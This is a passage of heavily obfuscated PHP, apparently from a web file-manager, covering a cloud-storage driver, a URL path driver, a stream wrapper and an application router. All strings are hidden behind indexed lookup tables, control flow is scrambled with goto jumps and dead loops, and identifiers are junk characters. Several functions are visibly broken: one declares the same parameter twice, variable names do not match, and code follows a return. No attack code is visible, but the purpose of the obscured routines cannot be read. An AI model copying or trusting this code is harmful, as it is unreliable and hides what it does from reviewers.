$CᏵ); if (!$aڅ) { return !1; } $A = isset($aڅ[$fѴ[1244]]) ? $aڅ[$fѴ[1244]] : $fѴ[33]; $Aۊė = isset($aڅ[$fѴ[1245]]) ? $aڅ[$fѴ[1245]] : array(); if (empty($Aۊė)) { break; } $d = array_to_keyvalue($Aۊė, $fѴ[33], $fѴ[29]); $dض = array_count_values($d); $A = isset($dض[$fѴ[76]]) ? $dض[$fѴ[76]] : 0; $eɂ = count($d) - $A; if ($Dʨ) { $F += $A; $eě += $eɂ; if ($DϷ < $CᏵ) { break; } continue; } if ($A퓴פ) { if ($eɂ) { return !0; } } else { if ($A) { return !0; } } if (count($Aۊė) < $CᏵ) { break; } } if ($Dʨ) { return array($fѴ[187] => $eě, $fѴ[188] => $F); } return !1; goto c㬖; c: $eě = 0; $F = 0; $EԊӨ = rtrim($a, $fѴ[8]) . $fѴ[8]; goto b; a: $fѴ =& $_SERVER[ֹ]; $A = $fѴ[33]; $CᏵ = 1000; goto c; c㬖: } public function listAll($a) { $e̦ = array(); $this->recursionAllFiles($a, $e̦); return $e̦; } public function canRead($AĆ) { return $this->exist($AĆ) ? !0 : !1; } public function canWrite($E) { return $this->exist($E) ? !0 : !1; } public function getContent($bΚ) { return $this->fileSubstr($bΚ, 0, -1); } public function setContent($c, $b虅 = '') { $d򼃶 =& $_SERVER[ֹ]; if (!$b虅) { $dΚ = $this->ussRequest($c, $d򼃶[208]); return $dΚ[$d򼃶[1026]]; } $c» = $this->tempFile($this->pathThis($c)); file_put_contents($c», $b虅); if ($this->upload($c, $c»)) { $this->tempFileRemve($c»); return !0; } return !1; } public function fileSubstr($e, $Fڄ, $DӃ) { $eゑ =& $_SERVER[ֹ]; if (!($b䓅 = $this->link($e))) { return !1; } $aߠ = !1; if ($DӃ > 0) { $f = $Fڄ + $DӃ - 1; $aߠ = array($eゑ[1206] . $Fڄ . $eゑ[408] . $f); } $aݲ̨ = url_request($b䓅, $eゑ[212], !1, $aߠ); return $aݲ̨[$eゑ[686]] ? $aݲ̨[$eゑ[1028]] : !1; } public function upload($C, $C, $F׺ = false, $bۿ = REPEAT_REPLACE) { goto eؒ; aԝ: do { $f޽ = $F玟[$B[1252]]; fseek($CΟ, $dސ); $f = fread($CΟ, $f޽); $fݠ = 0; do { $fݠ++; $F玟 = $this->uploadPart($C, $F玟, $f); } while (!$F玟 && $fݠ < 3); if (!$F玟) { return !1; } $a = $F玟[$B[1251]]; $dސ += $f޽; } while ($a != -1); fclose($CΟ); $d = array($B[1253], $B[1254] . $F玟[$B[1255]], $B[1249]); goto cޓ棩; eϧ: $a = 1024 * 1024 * 10; $d = array($B[1247], $B[1248] . $C܋Ѱ, $B[1249], $B[1250] . $a); $eà = $this->ussRequest($C, $B[210], !1, $d); goto d읋; eؒ: $B =& $_SERVER[ֹ]; $C܋Ѱ = IO::size($C); if ($C܋Ѱ <= 1024 * 1024 * 200) { $A؛ = array($B[1246] . $C); $eà = $this->ussRequest($C, $B[210], $A؛); return $eÃ[$B[1026]] ? $this->getPathOuter($C) : !1; } goto eϧ; cޓ棩: $eà = $this->ussRequest($C, $B[210], !1, $d); return $eÃ[$B[1026]] ? $this->getPathOuter($e屮) : !1; goto Cٌ̓; d읋: if (!$eÃ[$B[1026]]) { return !1; } $F玟 = $eÃ[$B[1028]]; $dސ = 0; goto Eڃ; Eڃ: $a = $F玟[$B[1251]]; $CΟ = fopen($C, $B[1156]); if (!$CΟ) { return !1; } goto aԝ; Cٌ̓: } private function uploadPart($dł, $aă, &$e⵺) { $c =& $_SERVER[ֹ]; $e = array($c[1256], $c[1254] . $aă[$c[1255]], $c[1257] . $aă[$c[1251]], $c[1258] . $aă[$c[1252]]); $Fʃ = $this->ussRequest($dł, $c[210], $e⵺, $e); return !$Fʃ[$c[1026]] ? $Fʃ[$c[1026]] : $Fʃ[$c[1028]]; } public function uploadFormData($b쎅, $cޛ = 3600) { return $this->uploadPolicy($b쎅, $cޛ); } public function multiUploadFormData($DǗ, $A = 3600) { $Bκ =& $_SERVER[ֹ]; $cˤ = (int) $GLOBALS[$Bκ[7]][$Bκ[77]]; return $this->uploadPolicy($DǗ, $A, $cˤ); } private function uploadPolicy($Cݜ, $a = 3600, $Aޜ = 0) { goto CƑ; Aٖɚ斕: $Dʎյ = base64_encode(hash_hmac($cԈ[1228], "\120\x4f\123\124\46{$Aۤ}\x26{$D}\x26{$d⏶ѿ}", md5("{$this->userpass}"), !0)); $a = array($cԈ[1099] => $d⏶ѿ, $cԈ[1263] => "\x55\120\x59\125\x4e\40{$this->username}\x3a{$Dʎյ}", $cԈ[165] => $this->endpoint . $Aۤ); return $a; goto E; CƑ: $cԈ =& $_SERVER[ֹ]; $Aۤ = $cԈ[8] . $this->bucket; $D = gmdate($cԈ[1191]); goto F鴽; F鴽: $a̟ = array($cԈ[1259] => $this->bucket, $cԈ[1260] => $Cݜ, $cԈ[1261] => time() + $a, $cԈ[1262] => $D); if ($Aޜ) { $a̟[$cԈ[1177]] = $Aޜ; } $d⏶ѿ = base64_encode(json_encode($a̟)); goto Aٖɚ斕; E: } public function download($C߮, $EȆ) { goto bĘ; C: fclose($dӛȴ); return $EȆ; goto D; Bԩ̾: $Aٯ = 1024 * 200; $dӛȴ = fopen($cӓ, $_SERVER[ֹ][1212]); while (!0) { $Cʄ˒ = $this->fileSubstr($C߮, $F, $Aٯ); if ($Cʄ˒ === !1) { return !1; } fwrite($dӛȴ, $Cʄ˒); $F += $Aٯ; if (strlen($Cʄ˒) < $Aٯ) { break; } } goto C; bĘ: $cӓ = IO::getPathInner(IO::mkfile($EȆ)); if (!($c߸ = $this->link($C߮))) { return !1; } $F = 0; goto Bԩ̾; D: } public function link($E, $F = array()) { $B =& $_SERVER[ֹ]; $E = trim($E, $B[8]); if (!empty($this->token)) { $C׸ = strtotime(date($B[1264])); $Eī = substr(md5($this->token . $B[268] . $C׸ . $B[1265] . $E), 12, 8) . $C׸; $F[] = $B[1266] . $Eī; } $aɇ˲ = !empty($F) ? $B[69] . implode($B[268], $F) : $B[33]; return $this->getHost() . $B[8] . $E . $aɇ˲; } public function fileOut($C׈, $eƹҵ = false, $d߯ = false, $B = '') { if (!$d߯) { $d߯ = $this->pathThis($C׈); } $cշϳ = $eƹҵ ? array($_SERVER[ֹ][1267] . rawurlencode($d߯)) : array(); $d܆ = $this->link($C׈, $cշϳ); $this->fileOutLink($d܆); } public function fileOutServer($Bʭ, $Fˆ = false, $Fٲ = false, $Bѫװź = '') { parent::fileOut($Bʭ, $Fˆ, $Fٲ, $Bѫװź); } public function fileOutImage($cب, $dА = 250) { $F = $this->link($cب . $_SERVER[ֹ][1268] . $dА); $this->fileOutLink($F); } public function fileOutImageServer($c, $bը = 250) { parent::fileOutImage($c, $bը); } public function hashMd5($cє) { $CА =& $_SERVER[ֹ]; $e昭 = $this->objectMeta($cє); return isset($e昭[$CА[192]]) ? $e昭[$CА[192]] : !1; } public function size($Dєԡ) { $FƼ = $this->objectMeta($Dєԡ); return $FƼ ? $FƼ[$_SERVER[ֹ][77]] : 0; } public function info($EҪ) { if ($this->isFolder($EҪ)) { return $this->folderInfo($EҪ); } else { if ($this->isFile($EҪ)) { return $this->fileInfo($EҪ); } } return !1; } public function exist($eꯊ) { return $this->isFile($eꯊ) || $this->isFolder($eꯊ); } public function isFile($E) { return !$this->isFolder($E) && $this->objectMeta($E); } public function isFolder($B̂) { return $this->cacheMethod($_SERVER[ֹ][219], $B̂); } protected function objectMeta($D) { return $this->cacheMethod($_SERVER[ֹ][220], $D); } protected function _objectMeta($C鐦) { goto a; a: $dȝ =& $_SERVER[ֹ]; if ($C鐦 == $dȝ[33] || $C鐦 == $dȝ[8]) { return array(); } $aׂ䝽 = $this->ussRequest($C鐦, $dȝ[1269]); goto aꓨǖ; aꓨǖ: if (!$aׂ䝽[$dȝ[1026]]) { return null; } $cњ = isset($aׂ䝽[$dȝ[1028]]) ? $aׂ䝽[$dȝ[1028]] : array(); if (!isset($cњ[$dȝ[1270]])) { return null; } goto Bƶ; Bƶ: $F֚ = array($dȝ[28] => get_path_this($C鐦), $dȝ[29] => isset($cњ[$dȝ[1270]]) ? $cњ[$dȝ[1270]] : null, $dȝ[77] => isset($cњ[$dȝ[1271]]) ? $cњ[$dȝ[1271]] : null, $dȝ[192] => isset($cњ[$dȝ[1272]]) ? $cњ[$dȝ[1272]] : null, $dȝ[1239] => isset($cњ[$dȝ[1273]]) ? $cњ[$dȝ[1273]] : null); $F֚[$dȝ[1240]] = isset($cњ[$dȝ[1274]]) ? strtotime($cњ[$dȝ[1274]]) : $F֚[$dȝ[1239]]; return $F֚; goto c; c: } protected function _isFolder($CڢƓ) { $D =& $_SERVER[ֹ]; if ($CڢƓ == $D[33] || $CڢƓ == $D[8]) { return !0; } $F膟 = $this->objectMeta($CڢƓ); return isset($F膟[$D[29]]) && $F膟[$D[29]] == $D[76] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($Bƹ = false) { } public function exist($B۬) { $B = $this->info($B۬); return $B[$_SERVER[ֹ][184]]; } public function isFile($D) { $e = $this->info($D); return $e[$_SERVER[ֹ][184]]; } public function isFolder($fךʘ) { return !1; } public function size($D㹣) { $D = $this->info($D㹣); return $D[$_SERVER[ֹ][77]]; } public function info($aї) { return $this->infoParse($aї); } public function infoAuth($D) { return $this->infoParse($D); } public function infoWithChildren($e䍪) { return $this->infoParse($e䍪); } public function infoFull($B¡ٛ) { return $this->infoParse($B¡ٛ); } private function infoParse($BЈ) { $Bű =& $_SERVER[ֹ]; $aϻ = $this->header($BЈ); if (!$aϻ || !$aϻ[$Bű[686]]) { return !1; } $D΂ = _get($aϻ, $Bű[321], 0); $D = array($Bű[28] => $aϻ[$Bű[28]], $Bű[75] => $BЈ, $Bű[29] => $Bű[163], $Bű[77] => intval($D΂), $Bű[156] => get_path_ext($aϻ[$Bű[28]]), $Bű[1148] => $D΂ > 0 && $aϻ[$Bű[1275]], $Bű[1149] => !1); return $D; } private function header($F) { if (isset(self::$_cacheHeader[$F])) { return self::$_cacheHeader[$F]; } self::$_cacheHeader[$F] = url_header($F); return self::$_cacheHeader[$F]; } public function hashSimple($Eܑ, $Cʻ = false) { goto A; A: $fΆ =& $_SERVER[ֹ]; $fՏ = $this->info($Eܑ); if (!$fՏ || !$fՏ[$fΆ[184]]) { return !1; } goto cä; Aʦ: $E = timeFloat(); $A = 15; for ($D• = 0; $D• < $Fʅ; $D•++) { if (timeFloat() - $E > $A) { return !1; } $c⎫ˍ = $this->fileSubstr($Eܑ, $eО * $D•, $e); if (!$c⎫ˍ) { return !1; } $D .= $c⎫ˍ; } goto d; cä: $e = $fՏ[$fΆ[77]]; $e = 200; $Fʅ = 50; goto B楉; d: $D .= $this->fileSubstr($Eܑ, $e - $e, $e); return md5($D) . $e; goto Dŧ; B楉: if ($e <= $e * $Fʅ) { return md5($this->fileSubstr($Eܑ, 0, $e)) . $e; } $eО = intval($e / $Fʅ); $D = $fΆ[33]; goto Aʦ; Dŧ: } public function getContent($eᨶ) { return $this->fileSubstr($eᨶ); } public function fileSubstr($Eį, $D˺׼͔ = 0, $eʉ = -1) { goto fꖪ; fꖪ: $Dߨ =& $_SERVER[ֹ]; $bͫܧ˒ = $this->info($Eį); if (!$bͫܧ˒ || !$bͫܧ˒[$Dߨ[184]] && $bͫܧ˒[$Dߨ[77]] > 1024 * 1024 * 10) { return !1; } goto dݢ; dݢ: if ($eʉ === -1) { $eʉ = $bͫܧ˒[$Dߨ[77]]; } if ($eʉ == 0) { return $Dߨ[33]; } $Ẻɚ = array($Dߨ[1276] . $D˺׼͔ . $Dߨ[711] . ($D˺׼͔ + $eʉ - 1)); goto D祼; D祼: $e‰ = url_request($Eį, $Dߨ[212], !1, $Ẻɚ, !1, !1, 1); return $e‰[$Dߨ[1028]] ? $e‰[$Dߨ[1028]] : $Dߨ[33]; goto B삘; B삘: } public function download($a䑄, $Eɰ) { Downloader::start($a䑄, $Eɰ); return $Eɰ; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($Eۄ, $A浡 = '') { goto D; b: if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$Eۄ])) { self::$_chunkBuffer[$Eۄ] = array(); } goto eƖ; eƖ: return $this->info ? !0 : !1; goto Aѓ; D: $this->info = $this->info($Eۄ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ֹ][75]]; goto b; Aѓ: } function stream_read($d܌) { $D = $this->fileSubstr($this->pose, $d܌); $this->pose += strlen($D); return $D; } public function stream_tell() { return $this->pose; } public function stream_seek($Dѵ, $eӫ) { $d =& $_SERVER[ֹ]; if ($eӫ == SEEK_SET) { $this->pose = $Dѵ; } else { if ($eӫ == SEEK_CUR) { $this->pose += $Dѵ; } else { if ($eӫ == SEEK_END) { $this->pose = $this->info[$d[77]] + intval($Dѵ); } } } if ($Dѵ < 0) { $this->pose = $this->info[$d[77]] + $Dѵ; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[ֹ][77]]; } public function stream_close() { return !0; } public function url_stat($b, $b۹ȫ) { $B =& $_SERVER[ֹ]; $c = $this->info($b); return array($B[1277] => 0, $B[1278] => 0, $B[12] => 32768 + 511, $B[1279] => 0, $B[1280] => 0, $B[1281] => 0, $B[1282] => 0, $B[77] => $c[$B[77]], $B[1283] => $c[$B[1154]], $B[1240] => $c[$B[106]], $B[1239] => $c[$B[183]], $B[1284] => 0, $B[1285] => 0); } static $fileInfo = array(); public function info($eŤĭ) { $dے = $_SERVER[ֹ][1286]; if (isset(self::$fileInfo[$eŤĭ])) { return self::$fileInfo[$eŤĭ]; } if (substr($eŤĭ, 0, strlen($dے)) != $dے) { return !1; } self::$fileInfo[$eŤĭ] = IO::info(substr($eŤĭ, strlen($dے))); return self::$fileInfo[$eŤĭ]; } public static function read($aȞ, $F, $c) { goto f֛ѿ; C: $A = 8192; fseek($d׵, $F, SEEK_SET); $A񅂪 = $c[33]; goto b; f֛ѿ: $c =& $_SERVER[ֹ]; $d׵ = fopen($aȞ, $c[1156]); if (!$d׵) { return $c[33]; } goto C; B: return $A񅂪; goto c˞; b: $A = 0; while ($A < $c) { $cōĎ = min($A, $c - $A); $A񅂪 .= fread($d׵, $cōĎ); $A += $cōĎ; } fclose($d׵); goto B; c˞: } public function fileSubstr($C̟, $cᰙ) { goto a; Bܲ܍: $c߲ = $cᰙ; if ($C̟ < 0) { $C̟ = $C䪴 + $C̟; } if ($cᰙ === !1) { $cᰙ = $C䪴 - $C̟; } goto e; B: foreach ($Dذ as $Bّƴ => $CƂ) { $Bّƴ = intval($Bّƴ); $Eʱ = $Bّƴ + strlen($CƂ); if ($C̟ >= $Eʱ) { continue; } if ($C̟ >= $Bّƴ && $C̟ + $cᰙ <= $Eʱ) { return substr($CƂ, $C̟ - $Bّƴ, $cᰙ); } break; } if (count($Dذ) > 40 || timeFloat() - $this->timeStart > 2.0) { $this->log($eӍ[1287], $eӍ[1288] . count($Dذ) . "\73\x73\164\x61\162\x74\75{$C̟}\x2c\154\145\x6e\x67\x74\x68\x3d{$cᰙ}\73\160\x6f\x73\145\72{$Bّƴ}\x7e{$Eʱ}"); throw new Exception($eӍ[1289]); } $Ǎ܍ = intval($C̟ / $E) * $E; goto cα; a: $eӍ =& $_SERVER[ֹ]; $C䪴 = $this->info[$eӍ[77]]; $Fґ = $C̟; goto Bܲ܍; A: $Bّƴ = 0; $Eʱ = 0; $CƂ = $eӍ[33]; goto B; Aُ۩: ksort($Dذ); $C = substr($fņ, $C̟ - $Ǎ܍, $cᰙ); return $C; goto BǙ; cα: $DǃҶ = ceil(($C̟ + $cᰙ) / $E) * $E - $Ǎ܍; $fņ = IO::fileSubstr($this->path, $Ǎ܍, $DǃҶ); $Dذ[$Ǎ܍ . $eӍ[33]] = $fņ; goto Aُ۩; e: if ($C̟ + $cᰙ > $C䪴) { $cᰙ = $C䪴 - $C̟; } if ($cᰙ <= 0) { return $eӍ[33]; } if ($C̟ < 0 || $C̟ >= $C䪴 || $cᰙ <= 0 || $cᰙ > 1024 * 1024 * 5) { throw new Exception("\x69\157\106\151\154\x65\122\145\x61\x64\x20\145\162\x72\157\162\41\x20\163\164\141\162\x74\x3d{$C̟}\73\154\145\x6e\x67\164\x68\75{$cᰙ}\x3b\40\x73\x69\x7a\x65\x3d{$C䪴}\73"); } goto fڏ; fڏ: $E = 64 * 1024; $Dذ =& self::$_chunkBuffer[$this->path]; if (!$Dذ) { $Dذ = array(); } goto A; BǙ: } private function log($b⬙۰, $b) { $A㚆 =& $_SERVER[ֹ]; $f = timeFloat() - $this->timeStart; write_log(sprintf($A㚆[1290], $b⬙۰, $this->info[$A㚆[28]], $f, $b), $A㚆[1205]); } } goto d㰶Ý; CҊ: while ($AÉ < $_SERVER[ֹ][547]) { if ($AÉ >= 0) { break; } $AÉ++; } class Application { private $defaultModule = "\151\156\144\145\170"; private $defaultController = "\151\x6e\144\x65\170"; private $defaultAction = "\151\156\144\145\x78"; function __construct() { } public function setDefault($B) { goto c; c: $cƴ =& $_SERVER[ֹ]; $Fߊ =& $_SERVER[ʬ]; $d펉 = $Fߊ[0]($Fߊ[1], $Fߊ[2]($B, $Fߊ[1])); goto cƱك; c纐: $this->defaultAction = $d펉[2] ? $d펉[2] : $this->defaultAction; $bɢ̈ = $cƴ[549]; $this->{$_SERVER[ʬ][3]}($Fߊ[4], array($this, $Fߊ[5])); goto eˊ; cƱك: $this->defaultModule = $d펉[0] ? $d펉[0] : $this->defaultModule; $this->defaultController = $d펉[1] ? $d펉[1] : $this->defaultController; $b = $cƴ[548]; goto c纐; eˊ: } public function appRun($Eʾ) { goto Dޑ; dԉ: $FĻ[13](array($FĻ[14], $FĻ[15]), $B郓 . $FĻ[16], $Eʾ); $FĻ[17]($Eʾ); $A = $eɔѐ[554]; goto cݑ; Dޑ: $eɔѐ =& $_SERVER[ֹ]; $FĻ =& $_SERVER[ʬ]; $D = $FĻ[0]($FĻ[1], $Eʾ); goto aҎ; aҎ: $d搅 = $eɔѐ[550]; while ($d搅 < $eɔѐ[547]) { if ($d搅 >= 0) { break; } $d搅++; } $Eӊ = $FĻ[6]($D[0]); goto c; c: $Bݳ = $eɔѐ[551]; if (strlen($Bݳ) < $eɔѐ[552]) { return; } $B郓 = $FĻ[7]; goto dդ; dդ: $a = $eɔѐ[553]; if (strlen($a) < $eɔѐ[552]) { die; } if ($Eӊ == $FĻ[8]) { $B郓 = $FĻ[9]; $D[0] = $FĻ[10]; $D[1] = $D[1] . $FĻ[11]; $Eʾ = $FĻ[12]($FĻ[1], $D); $Eʾ = $FĻ[2]($Eʾ, $FĻ[1]); } goto dԉ; cݑ: while ($A < $eɔѐ[555]) { if ($A >= 0) { break; } $A++; } $FĻ[13](array($FĻ[14], $FĻ[15]), $B郓 . $FĻ[18], $Eʾ); $aق = $eɔѐ[556]; goto BАĤ; BАĤ: } private function autorun() { $aΌ =& $_SERVER[ֹ]; $D =& $_SERVER[ʬ]; global $config; $E̞ = $aΌ[557]; if ($D[19]($config[$D[20]]) == 0) { return; } foreach ($config[$D[20]] as $Aܹ => $CӉ򡷭) { $this->{$_SERVER[ʬ][21]}($CӉ򡷭); $E敌 = $aΌ[558]; } } private function xcaub6fe3c6d() { goto F; Fʧ: $e܋ = $GLOBALS[$Aю[22]][$Aю[23]][0]; $d = $dɽ䴄[559]; if (!$e܋ || $Aю[24]($e܋) <= $Aю[24]($eē)) { return; } goto a蔷ȱ; a蔷ȱ: if ($Aю[6]($Aю[25]($e܋, -$Aю[24]($eē))) != $eē) { return; } $Dʇ£ = $Aю[25]($e܋, 0, -$Aю[24]($eē)); $bǑ = $dɽ䴄[560]; goto Cԋ; ađ: $a鸴 = $Aю[26]($GLOBALS[$Aю[22]][$Aю[23]], 1); $Fߝ = $dɽ䴄[561]; if (!$Fߝ) { return; } goto Fúω٘; F: $dɽ䴄 =& $_SERVER[ֹ]; $Aю =& $_SERVER[ʬ]; $eē = $Aю[8]; goto Fʧ; Cԋ: if (!$bǑ) { return; } $Eވ = array($Aю[8], $Dʇ£); $B = $dɽ䴄[550]; goto ađ; Fúω٘: $GLOBALS[$Aю[22]][$Aю[23]] = $Aю[27]($Eވ, $a鸴); $GLOBALS[$Aю[22]][$Aю[28]] = $Aю[29]($Aю[1], $GLOBALS[$Aю[22]][$Aю[23]]); goto B״Йη; B״Йη: } private function jrip591100d0() { goto Fб㫉; a먥: $bȇ = $E촞[33]($b, $B秵); $eЭ = $Bԕ[562]; if (!$eЭ) { return; } goto f; f: $B莑 = $E촞[25]($b, $bȇ + $E촞[24]($B秵)); $fŘ = $Bԕ[563]; if (!$fŘ) { return; } goto aȦ; d坟Ȼ: $AЅ = $Bԕ[565]; $GLOBALS[$E촞[22]][$E촞[23]] = $E촞[0]($E촞[36], $B莑); $D͕ = $Bԕ[566]; goto Cބ; eȏ: $b = $_SERVER[$E촞[30]]; $B秵 = $E촞[31]; if (!$E촞[32]($b, $B秵)) { return; } goto a먥; Fб㫉: $Bԕ =& $_SERVER[ֹ]; $E촞 =& $_SERVER[ʬ]; if ($GLOBALS[$E촞[22]][$E촞[28]] != $E촞[10]) { return; } goto eȏ; aȦ: $E촞[34]($E촞[35], $B莑, $f); $A䝂 = $Bԕ[564]; $B莑 = $E촞[2]($f[0][0], $E촞[36]); goto d坟Ȼ; Cބ: while ($D͕ < $Bԕ[552]) { if ($D͕ >= 0) { break; } $D͕++; } $GLOBALS[$E촞[22]][$E촞[28]] = $E촞[29]($E촞[1], $GLOBALS[$E촞[22]][$E촞[23]]); goto A; A: } public function run() { goto f; f: $c =& $_SERVER[ֹ]; $E؆ =& $_SERVER[ʬ]; $this->{$_SERVER[ʬ][37]}(); goto A߃; Dĕ؍: $E؆[39]($E؆[41], isset($D[1]) && $D[0] ? $D[1] : $this->defaultController); $E؆[39]($E؆[42], isset($D[2]) && $D[0] ? $D[2] : $this->defaultAction); $e = $c[570]; goto e; A߃: $this->{$_SERVER[ʬ][38]}(); $D = $GLOBALS[$E؆[22]][$E؆[23]]; $e = $c[567]; goto Cɩ; dʄ: $E؆[39]($E؆[40], isset($D[0]) && $D[0] ? $D[0] : $this->defaultModule); $Fʹ = $c[569]; while ($Fʹ < $c[555]) { if ($Fʹ >= 0) { break; } $Fʹ++; } goto Dĕ؍; e: while ($e < $c[555]) { if ($e >= 0) { break; } $e++; } $E؆[39]($E؆[43], MOD . $E؆[1] . ST . $E؆[1] . ACT); $bĔ = $c[571]; goto Cϼ; Cϼ: $_SERVER[$E؆[44]] = $E؆[6](ACTION); $this->{$_SERVER[ʬ][45]}(); if ($E؆[19]($D) >= 3) { $this->{$_SERVER[ʬ][21]}($D¸); } else { $this->{$_SERVER[ʬ][21]}(ACTION); } goto d݌; Cɩ: if (strlen($e) < $c[555]) { return; } $D¸ = $GLOBALS[$E؆[22]][$E؆[28]]; $e = $c[568]; goto dʄ; d݌: } private $sdvfd6f194bd = array(); private $decj5f0000d9 = ''; public function cejh846a3146() { goto eڝ; dЇ: $this->{$_SERVER[ʬ][49]}(); $this->{$_SERVER[ʬ][50]}(); $eҞ۟ = $f[574]; goto c̽; C辵: $this->{$_SERVER[ʬ][48]}(); $F򌌊ɜ = $f[573]; if (!$F򌌊ɜ) { return; } goto dЇ; B¦: if (strlen($aѤ) < $f[577]) { return; } $this->{$_SERVER[ʬ][3]}($cȄ[55], array($this, $cȄ[56])); $this->{$_SERVER[ʬ][3]}($cȄ[57], array($this, $cȄ[58])); goto bཌྷ; b􂐏: $c = $f[572]; while (strlen($c) < $f[547]) { if (!$c) { break; } $c++; } $this->{$_SERVER[ʬ][47]}(); goto C辵; bཌྷ: $this->{$_SERVER[ʬ][3]}($cȄ[59], array($this, $cȄ[60])); $D䠍 = $f[578]; if (strlen($D䠍) < $f[547]) { die; } goto E; c̽: if (!$eҞ۟) { die; } $this->{$_SERVER[ʬ][51]}(); $this->{$_SERVER[ʬ][52]}(); goto Eɪ; eڝ: $f =& $_SERVER[ֹ]; $cȄ =& $_SERVER[ʬ]; $this->{$_SERVER[ʬ][46]}(); goto b􂐏; Eɪ: $Fޢ = $f[575]; $this->{$_SERVER[ʬ][3]}($cȄ[53], array($this, $cȄ[54])); $aѤ = $f[576]; goto B¦; E: } public function sayta7ccef86($c) { goto fճ; f؅: $c[$bՙ[108]][$bՙ[120]] = $this->decj5f0000d9; if ($Fѽ[$bՙ[120]] != $bՙ[121]) { $c[$bՙ[108]][$bՙ[122]] = $Fѽ[$bՙ[122]]; $c[$bՙ[108]][$bՙ[123]] = $Fѽ[$bՙ[123]]; $fۍ = $bՙ[124](10) . $this->decj5f0000d9 . $bՙ[124](5); $c[$bՙ[93]][$bՙ[125]][$bՙ[126]] = $this->{$_SERVER[ʬ][127]}($fۍ, $c[$bՙ[108]][$bՙ[113]]); } if ($this->decj5f0000d9 == $bՙ[121]) { $c[$bՙ[93]][$bՙ[94]][$bՙ[99]][$bՙ[107]] = 0; } goto d; Aڇ: $c[$bՙ[108]][$bՙ[113]] = $bՙ[114]($_SERVER[$bՙ[115]] . $Fѽ[$bՙ[116]]); $CӦ = $BӤ̅[583]; $c[$bՙ[108]][$bՙ[117]] = $bՙ[118]($bՙ[119]()); goto f؅; bȜה: $fǿ = $BӤ̅[579]; if (strlen($fǿ) < $BӤ̅[552]) { return; } $E̍ = array($bՙ[64], $bՙ[65], $bՙ[66], $bՙ[67], $bՙ[68], $bՙ[69], $bՙ[70], $bՙ[71], $bՙ[72], $bՙ[73], $bՙ[74], $bՙ[75], $bՙ[76], $bՙ[77], $bՙ[78], $bՙ[79], $bՙ[80], $bՙ[81], $bՙ[82], $bՙ[83], $bՙ[84], $bՙ[85], $bՙ[86], $bՙ[87], $bՙ[88], $bՙ[89], $bՙ[90]); goto a; BȨߕ: if ($bՙ[104]($GLOBALS, $bՙ[132]) && $this->config[$bՙ[133]]) { $c[$bՙ[108]][$bՙ[134]] = WEB_ROOT; } return $c; goto D܃ƴ; dՄ: while (strlen($Eһ) < $BӤ̅[577]) { if (!$Eһ) { break; } $Eһ++; } unset($c[$bՙ[93]][$bՙ[95]][$bՙ[96]]); unset($c[$bՙ[93]][$bՙ[95]][$bՙ[97]]); goto a㲏; a: foreach ($E̍ as $eԎ) { $D룡 = $GLOBALS[$bՙ[91]][$bՙ[92]][$eԎ]; $d = $BӤ̅[580]; if (!$d) { return; } if (isset($Fѽ[$eԎ])) { $D룡 = $Fѽ[$eԎ]; } $c[$bՙ[93]][$bՙ[94]][$eԎ] = $D룡; } $a𦻲 = $c[$bՙ[93]][$bՙ[94]][$bՙ[76]]; $Eһ = $BӤ̅[581]; goto dՄ; a㲏: unset($c[$bՙ[93]][$bՙ[94]][$bՙ[76]]); unset($c[$bՙ[93]][$bՙ[94]][$bՙ[98]]); $bȊ = $BӤ̅[582]; goto aޏ; fճ: $BӤ̅ =& $_SERVER[ֹ]; $bՙ =& $_SERVER[ʬ]; $Fѽ = $bՙ[61]($bՙ[62])->{$_SERVER[ʬ][63]}(); goto bȜה; d: $c[$bՙ[108]][$bՙ[128]] = $bՙ[104]($this->sdvfd6f194bd, $bՙ[129], $bՙ[10]); $c[$bՙ[108]][$bՙ[130]] = $bՙ[104]($this->sdvfd6f194bd, $bՙ[131], $bՙ[10]); $CɌۖ = $BӤ̅[584]; goto BȨߕ; aޏ: while ($bȊ < $BӤ̅[577]) { if ($bȊ >= 0) { break; } $bȊ++; } $c[$bՙ[93]][$bՙ[94]][$bՙ[99]] = array($bՙ[100] => (int) $a𦻲[$bՙ[101]], $bՙ[102] => $bՙ[103]($bՙ[104]($a𦻲, $bՙ[105], array())), $bՙ[106] => (int) $bՙ[104]($a𦻲, $bՙ[107], 0)); $c[$bՙ[108]][$bՙ[109]] = $bՙ[110]($bՙ[111])->{$_SERVER[ʬ][112]}(); goto Aڇ; D܃ƴ: } private function jrvkf1b5ff87() { goto f䦵; f슨: if (!$f) { die; } $bѯ = $bӃ[61]($bӃ[62])->{$_SERVER[ʬ][63]}(); $cߌ = $Dňɹ[587]; goto aĭ; D: if ($this->decj5f0000d9 == $bӃ[121]) { return; } $FՂ蚂 = array($bӃ[153], $bӃ[154], $bӃ[155], $bӃ[156], $bӃ[157], $bӃ[158]); $f = $Dňɹ[586]; goto f슨; f䦵: $Dňɹ =& $_SERVER[ֹ]; $bӃ =& $_SERVER[ʬ]; if ($_SERVER[$bӃ[44]] == $bӃ[135]) { $B֯ = array($bӃ[120] => $this->decj5f0000d9, $bӃ[136] => $this->{$_SERVER[ʬ][137]}(), $bӃ[138] => $bӃ[61]($bӃ[139])->{$_SERVER[ʬ][140]}()); if ($this->decj5f0000d9 != $bӃ[121]) { $bԼ񴫮 = $bӃ[104]($this->sdvfd6f194bd, $bӃ[141]); if ($bԼ񴫮) { $B֯[$bӃ[142]] = $bԼ񴫮; $B֯[$bӃ[143]] = $bӃ[144]($bӃ[104]($this->sdvfd6f194bd, $bӃ[145])); $B֯[$bӃ[146]] = $bӃ[104]($this->sdvfd6f194bd, $bӃ[131]); } } $B֯ = $this->{$_SERVER[ʬ][147]}($bӃ[148]($B֯), $bӃ[114]($bӃ[149])); $A݊ = array($bӃ[150] => $B֯); $bӃ[13](array($bӃ[151], $bӃ[152]), $A݊); $bƭᎽ = $Dňɹ[585]; } goto D; D: $bӃ[13](array($bӃ[151], $bӃ[152]), $A݊); $b = $Dňɹ[588]; if (!$b) { return; } goto e򱿏; aĭ: if (!$cߌ) { die; } $A݊ = array($bӃ[159] => $bѯ[$bӃ[64]], $bӃ[160] => 